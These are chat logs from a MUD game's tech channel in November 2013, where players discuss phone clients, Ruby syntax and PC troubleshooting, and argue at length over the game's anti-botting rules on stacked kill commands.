T3/r7/2013-11-09.txt.gz:{chan ch=tech}Playerslayer Tech: hii , say does anyone know of a better app then mxit to play via smartphones "blackberry"
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Aizma Tech: People still use those Blackberrys?
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Playerslayer Tech: I do ...
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Arnica Tech: u must be a congressman
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Book of Etzli Tech: You must be a failed comedian.
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Aizma Tech: Harsh.
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Tech: bbssh
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Playerslayer Tech: lol etzli
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Aizma Tech: Abe, that actually answered the question. You're doing it wrong.
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Playerslayer Tech: bbssh is not good at all , mxit is better in so many levels ... 
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Tech: if you say so
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Tech: (to both :P)
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Tech: the best way to play from a phone is to use a phone program to connect to a computer running a capable client...you can do that with bbssh, you cannot do that with mxit
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Arnica Tech: Abelinc is correct bbssh to a properly configured client surpasses any mobile client
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Arnica Tech: Whether you are a Congressman or not
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Playerslayer Tech: the bbssh that I had looks just like the aardwolf client but you have to press the "play button" to switch to a scrol mode and then like a 100times again just to tex and most of the texes fail with a msgs saying you can not do that or something...
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Tech: if you are getting you can not do that, then you're typing something in which is not a command...
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Arnica Tech: and with ssh, you might want to use a command line client on the other end like tinyfugue
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Playerslayer Tech: lol I know but if I tex the same command on mxit it does not fail ... So basicly bbssh is a waist of time 
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Tech: it's not a waste of time,you're doing something wrong
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Tech: you're probably using a different keyboard input type for mxit vs bbssh
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Tech: you likely wouldn't want to use a predictive text input for MUDding, for example
T3/r7/2013-11-09.txt.gz:{chan ch=tech}Arnica Tech: They have a point, they just haven't abstracted high enough. BlackBerry was a waste of time
T3/r7/2013-11-09.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: https://www.youtube.com/watch?feature=player_embedded&v=6B22Uy7SBe4
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Redryn Tech: i'm seeing this in some ruby code i'm trying to understand, does anyone know what this does? "10 ? 10 : 1"
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Kuznazh Tech: there should be a bit more to it, on its own it means if the value is 10 then return 10 otherwise return 1
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Redryn Tech: ah ok
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Ranrr Tech: Dunno about ruby, but in C that is just a basic if expression, a ? b :c, return b if a is true, otherwise c
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Ranrr Tech: too slow...
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Redryn Tech: yea well instead of 10 it was args[2], but figured that didn't make sense out of context
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Redryn Tech: thanks
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Redryn Tech: so it just guards against nil values?
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Kanashii Tech: that ruby, or ruby on rails?
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Redryn Tech: i think just ruby
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Kanashii Tech: wow I've never seen that. sigh :(
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Ranrr Tech: Imo, those fall under the category of code obfuscation that should be avoided.
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Redryn Tech: ikr
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Ranrr Tech: But they can be handy....
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Redryn Tech: it's a pain trying to figure out what this code is doing
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Ranrr Tech: That's ruby for you :D
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Ranrr Tech: Ruby is like perl 2.0 for readability 
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Redryn Tech: wasn't it supposedly developed to be easy
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Redryn Tech: there's too many different syntax options to do the same thing imo
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, ruby failed. Python is much better, imo.
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Redryn Tech: well the only language i need to know is lua so i can write bots!
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Kanashii Tech: lol
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Tech: Weresnail Anaristos goes, "Hmmmm."
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Redryn Tech: i mean scripts
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Kanashii Tech: python can do that
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Arnica Tech: Any reason for an HP PC to lose its time besides a failing BIOS battery?
T3/r7/2013-11-10.txt.gz:{chan ch=tech}ElFeneri Tech: not any other reasonable explanation that I can think of
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Arnica Tech: Is it still possible to but a copu=y of Windows 7?
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Botman Tech: So if I spill something on my laptop and it's now dead, is it well and truly dead, or can it be resurrected somehow?
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Tech: other reasons to lose time would be something setting the time to be off...bad time server, timezones, etc
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Tech: it's still possible to buy windows 7, yes
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Turie Tech: MS would be stupid if they removed that right now.
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Tech: and it depends on what all happened when you spilled the liquid
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Arnica Tech: Thanks, makes me feel better about buying new HW
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Tech: there's still plenty of computers being sold with "Windows 8 with Windows 7 downgrade option"
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Tech: that gives you license and media for both versions
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Arnica Tech: Thanks again. I have been stuck buying new HW during both WinME and Windows Vista releases. If I have to but new HW during the Win8 era and cannot still buy Win7 it will be a f*ing Mac.
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Definitely Defines Tech: lol.. church
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Kanashii Tech: wow i'll sell you my homework :P
T3/r7/2013-11-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: has anybody used intel xdk? you like?
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Aizma Tech: Is there any chance of Chromecast ever supporting PornHub?
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Turie Tech: ....Ah....Hrmmmmm....Ask DjDoodles.
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Tech: nope, give up now
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Aizma Tech: The "cast a tab" thing is pretty buggy
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Well...
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Turie Tech: Chromecast could if someone creates it themself.
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger nods.
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Aizma Tech: Alright, guys... make it happen!
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: TOo busy trying to design a new encryption algorithm, tyvm :P
T3/r7/2013-11-10.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Pron == Sad-man work :P
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: Is there any GMCP data that indicates when your character is running? I tried char.status.pos but I only get "Standing"
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: Ah, I think I found it. char.status.state
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I would be careful in using that state to trigger sending kill messages - very easy to slip into bot territory. and I can't see any other reason to use it off-hand
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: nod, the wiki page on GMCP is handy for that...although that reminds me that I should update it for the new quest format
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Ranrr Tech: Any kill trigger is a bot.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: ^
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: plenty of good reasons to use the state variable
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: Actually, I'm trying to go for just the opposite
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: Sometimes when I'm running I get ahead of myself and press enter on the kill too early. I want to write a check to ignore my 'k xxx' commands if I'm running.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: Trying to add a safety check so I don't accidentally stack a kill command
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: [**NOPK**] Redwood goes to Xarfin, "SUUUUUUUURE...."
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: is it illegal to stack a kill command or something with run?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: only during gqs
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: well that's interesting. okay
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: not only during GQs
T3/r7/2013-11-11.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: there's a new quest format, abe?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Only stated rule for it is in help gq rules, nowhere else
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: yup myrkul
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: lol that's typical.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: when else?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There would be no need for it to be specifically mentioned in help gq rules if it was an ordinary rule
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: help stacked commands...bright white text...
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: any other questions?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: Hey, I know you don't know me, and that's fine, but I'm really a "play-by-the-rules" sort of person. My stated purpose is exactly that. For the record I was thinking of campaigns.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: the mudinfo note said there wouldn't be a problem if you track your quest targets with gmcp
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Is illegal if used in conjunction with a trigger. I don't trigger, I type it out and hit enter
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: what he said..
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: "Under no circumstance can you stack a kill command after a movement command."
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: I haven't done it yet. I'm not that good.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: oops myrk: the change I was thinking of for GMCP was the group format, not the quest format :-)
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: the are they here bit
T3/r7/2013-11-11.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: ah, ok :)
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: I knew I had to mod my script last boot for something GMCP related ;-)
T3/r7/2013-11-11.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: my group hp bars don't seem to have changed, so i think i'm fine :P
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: nod, it's really an issue with my client not having native json parsing...it doesn't know how to treat GMCP stuff without me writing triggers
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: it's funny that it says under no circumstance is it okay to stack a kill command after a movement command, but right before, it gives an example of a macro that is OKAY: north, target <mob>, shoot, south, backstab <mob>
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: modern clients like cmud & mushclient throw all the info into variable tables nicely
T3/r7/2013-11-11.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: ah
T3/r7/2013-11-11.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: why not just write a generic json decode function? :P
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: it's not funny...it says exactly why that's the case kanashii...
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: Kanashii - It says that is the ONLY exception
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: ah. perhaps it should be THAT is the exception. confused me there a bit.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: myrk: cuz it'd be a kludge on top of a kludge ;-)
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: what exactly is the exception? shoot? backstab? target? move only one room?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: Kanashii - the text might read better as "under no *other* circumstance..."
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: agreed xarfin. thanks :(
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: Archery
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: backstab is archery then?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: "north, target <mob>, shoot, south, backstab <mob>"
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: backstab may be used in conjunction with archery
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: The exception is archery + move + kill command. Backstab is just the example
T3/r7/2013-11-11.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: just read lashers note at the end of that help file.. its really easy to not bot
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: it may be used in conjunction with archery but it is NOT archery. but apart the exception? backstab can be part of the exception but kill can't?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: yeah okay. that's reasonable.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: The exception is archery. A move+kill command can be used after shoot.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: no i think the exception is don't kill a massive area of mobs off with a macro.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: archery is a "not in this room" skill already...that's the exception
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: as per lasher's note.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: lasher's note wasn't describing the rule, it was describing an attitude
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: Stacked commands that move around an area and clear multiple rooms at a time are considered bots. They are illegal and will be treated the same way. "Multiple rooms" is any number other than one.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: well let me make it clear that the exception itself is not clearly defined.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: the exception is entirely clearly defined
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: ...
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: and if you plan to act otherwise, then you're free to find another place to spend your time
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: the exception is this macro: "north, target <mob>, shoot, south, backstab <mob>" with some cavaets.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: Archery with shoot is the only exception. That's all there is to it.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: abelinc, i'm only asking for a clear definition.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: you've gotten that definition
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: repeatedly.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: what's the CLEAR definition?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: you don't give a crap about the rules
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: you can only move one room and use shoot and backstab?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: is this another kojiro alt?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: I don't get why i can use backstab but not kill?..
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: you can't use backstab
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: no, I don't give a crap about YOU.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: you can use an attack with archery
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: what attack doesn't matter
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: 2/3 Flying VampireDude hugs you after Kanashii was so mean.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: Redryn bursts into tears.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: if you wish to use kill, then use kill...as long as it's following archery
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: I Sense Nonsense finds the 'v' and waves at Kanashii.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: it's stupid to use kill, but feel free
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: oh shoot is the exception
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: as has been repeatedly stated to you
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: I'll try to say it one last time. Backstab is just an example. The exception is that you can shoot across one room with archery, move in, and kill. That's it. You could use a spell instead of backstab, or the "kill" command if you want. No other exceptions outside of the 'shoot' command, which was designed that way.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: it's easier if you give the scenario that you are wondering about
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: than asking about rules in the abstract
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: even courts don't answer questions like that :p
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: he's wondering about "how close can I get to the line", that's the only scenario considered
T3/r7/2013-11-11.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: this really isnt that complicated..
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: no, archery has been repeatedly stated me, although not clearly. Also, in the help file it's under 'Shoot' not Archery.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: stack only 1 room you're in
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: it has been repeatedly and clearly stated here, by multiple people
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: that's it
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: hence my confusion... which is the opposite of clear.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: fortune-mod for x has a fun real life courtroom quote with a question regarding a possible scenario's outcome where a woman who had constraints on her not to go's constraints were ignored and may have gone to the train station, and then been taken with the witness
T3/r7/2013-11-11.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: but , i wanted fortune-mod-firefly to work,a nyone know how to blacklist the other fortune-mods ?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: pretending that it wasn't stated isn't the same as it not being clear
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: if you wanna firebreath and stack 10 immolates it's fine
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: just don't move
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: 2/3 Flying VampireDude misses being able to use wrench.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: wrench works fine
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: nah I was confused because there's this little one line green word 'Shoot' that 'this' in the note subsitutes. You can feel free to be a bully. I don't really care.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: not if you arent a psi it doesnt
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: Level:  33 Wrench                 Learned: 100%
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: as a 4x, he's chosen not to have it...no sense "missing it" :P
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: rule of thumb- if you think it is questionable, DO NOT DO IT. Do NOT try to find ways around it. Period.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: thanks for helping me understand
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: i thought the rule of thumb is - do not get caught
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: Redryn runs away in utter terror!
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: Redryn's bot program is activated by [Outlaw] Drakoth and he rolls over on demand.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: Redryn- that has the big downer of the chance of BEING caught, which, in this game, is a big chance. Simply not breaking the rules has no chance of failure and thus consequence.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: attempting not to break the rules does not guarantee success :'(
T3/r7/2013-11-11.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: at least they finally fixed demonfire
T3/r7/2013-11-11.txt.gz:{chan ch=tech}I Sense Nonsense Tech: I didn't break the rules once... it was aweful...
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: genuinely attempting to not break rules does guarantee success
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: lol you are such a troll :O
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: doing something risky and possibly getting caught, or following the rules and knowing them (ignorance is not an excuse) Your choice. That is the choice between gettin g nuked or not getting nuked at all.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: very easy
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: nothing troll about it
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: t imm I want to do X, is X legal
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: you get a yes or no answer
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: follow.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: attempting to find the line to scrape your toe on does not guarantee success...actually caring about the rules makes it easy to fully guarantee that you're within them
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: you make several assumptions about attempting not to break the rules. One is you'll remember all 17 pages of policies and not do something stupid like lock the door behind you and get frozen for 30 days.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: Abelinc, this is the point.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: yeah i agree abe
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: frozen for 30 days for locking a door...
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: this is why we have "help policies" etc.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: You smirk.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: no joke it happened to me on a mud, my first offense too :(
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: this isn't "a mud"
T3/r7/2013-11-11.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: just type finger kojiro.. see how long it took him to get frozen for 2 months
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: yeah they had help files too..
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: do not speak about following the rules here based on your experience on another mud
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: lol.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: you just stepped out of scope.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: I just follow the rules. Much easier than trying to figure out the limits, and accidentally crossing them, and getting caught.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: you cannot accidentally bot here, and you can be 100% guaranteed of staying within the rules
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Aizma Tech: You could accidentally bot if someone snuck into your room and added a bunch of scripts to your client without your knowledge
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: thanks God1 and God2.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: You grin evilly at him.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: Aizma kisses you. 
T3/r7/2013-11-11.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: in which case you have bigger problems than breaking the rules here..
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: it bothers me you guys have to assume i'm trying to find the limits so I can tiptoe up to it when I already gave a reasonable example of past experiences that would demonstrate pure accident.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: Iunno, I keep my apartment locked and let no one on my computer even for a second. If someone puts that script on your computer, it looks just as bad as using a kitchen knife that has been used for a murder.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: you didn't give a reasonable example
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: it was reasonable because it was true I guess?.. I don't know.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: that's like saying I would never buy a chevy because I had a ford motor crap out on me
T3/r7/2013-11-11.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: you already got your answer, do you really have to keep talking about it so much?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: if your so bothered then maybe you should quit talking to us
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: no, that'd be like saying I would never buy a vehicle because I had a ford motor crap out on me.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: nope
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: I'm trying to gather an understanding here now, vampireDude
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: and unlike the real life scenario of using a murder weapon that someone conveniently left on the table, there are no forensics, only nukes.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: actually there are quite a few forensics before nukes
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: drakoth: That is what is best to do with idiots. I was hoping you guys weren't idiots. kk ttyl
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: it takes a lot of work to get nuked here
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: and would an imm know if someone left a script on your computer? They assume the negative, and more power to them for that.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Aizma Tech: I wasn't serious. Jesus.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: also, why the HELL would you let anyone into your home who would do something like that.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Aizma Tech: Don't hurt your brain.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: [Outlaw] Drakoth snickers with Aizma about their shared secret.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: you're responsible for your connection...if you go to the crapper without locking your screen and your little sister bots, that's your fault :-)
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: you're responsible for your character. if someone tricks you into botting, it's your fault.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: that is what locks are for. Also, sorry, I did not know you were a little boy who happens to have a devious sister. Are you spastic?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Aizma Tech: Hey, Kanashii, I've got this script that will solve all your problems
T3/r7/2013-11-11.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: i hopes its a scrip for painkillers!
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: heh, I have a posted script which could be used to bot...on its own it's legal, but it can easily be used illegally
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: note to self if I ever get reincarnated. If I am a brother, and my sister is a spastic fiend, ask parents for the perfect lock for a birthday and christmas present combined :3
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: and put on a passworded screensaver, with the password NOT left out for her spastic hands :p
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Kanashii Tech: abelinc, have you made a one press button or alias that records all the mobs you'd possibly want to kill?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: it's not something I'd have any interest in making
T3/r7/2013-11-11.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: anyone know how to make xorg-server properly install on gentoo linux, i tried xorg-x11 mesa xorg-drivers, but it didnt pull in all the basic stuff like xdm, xterm, and other things that seem needed to run
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: those aren't needed to run
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: yea abelinc has no interest in being competitive in gqs
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: Redryn blinks innocently.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: or levelling
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: heh, I don't even use a pathfinding algorithm
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: 2/3 Flying VampireDude noticed that abelinc's 'those aren't needed to run statement, failed to answer the first segment of the question. therefore ' fail' 
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: the first segment of the question was answered in the question...
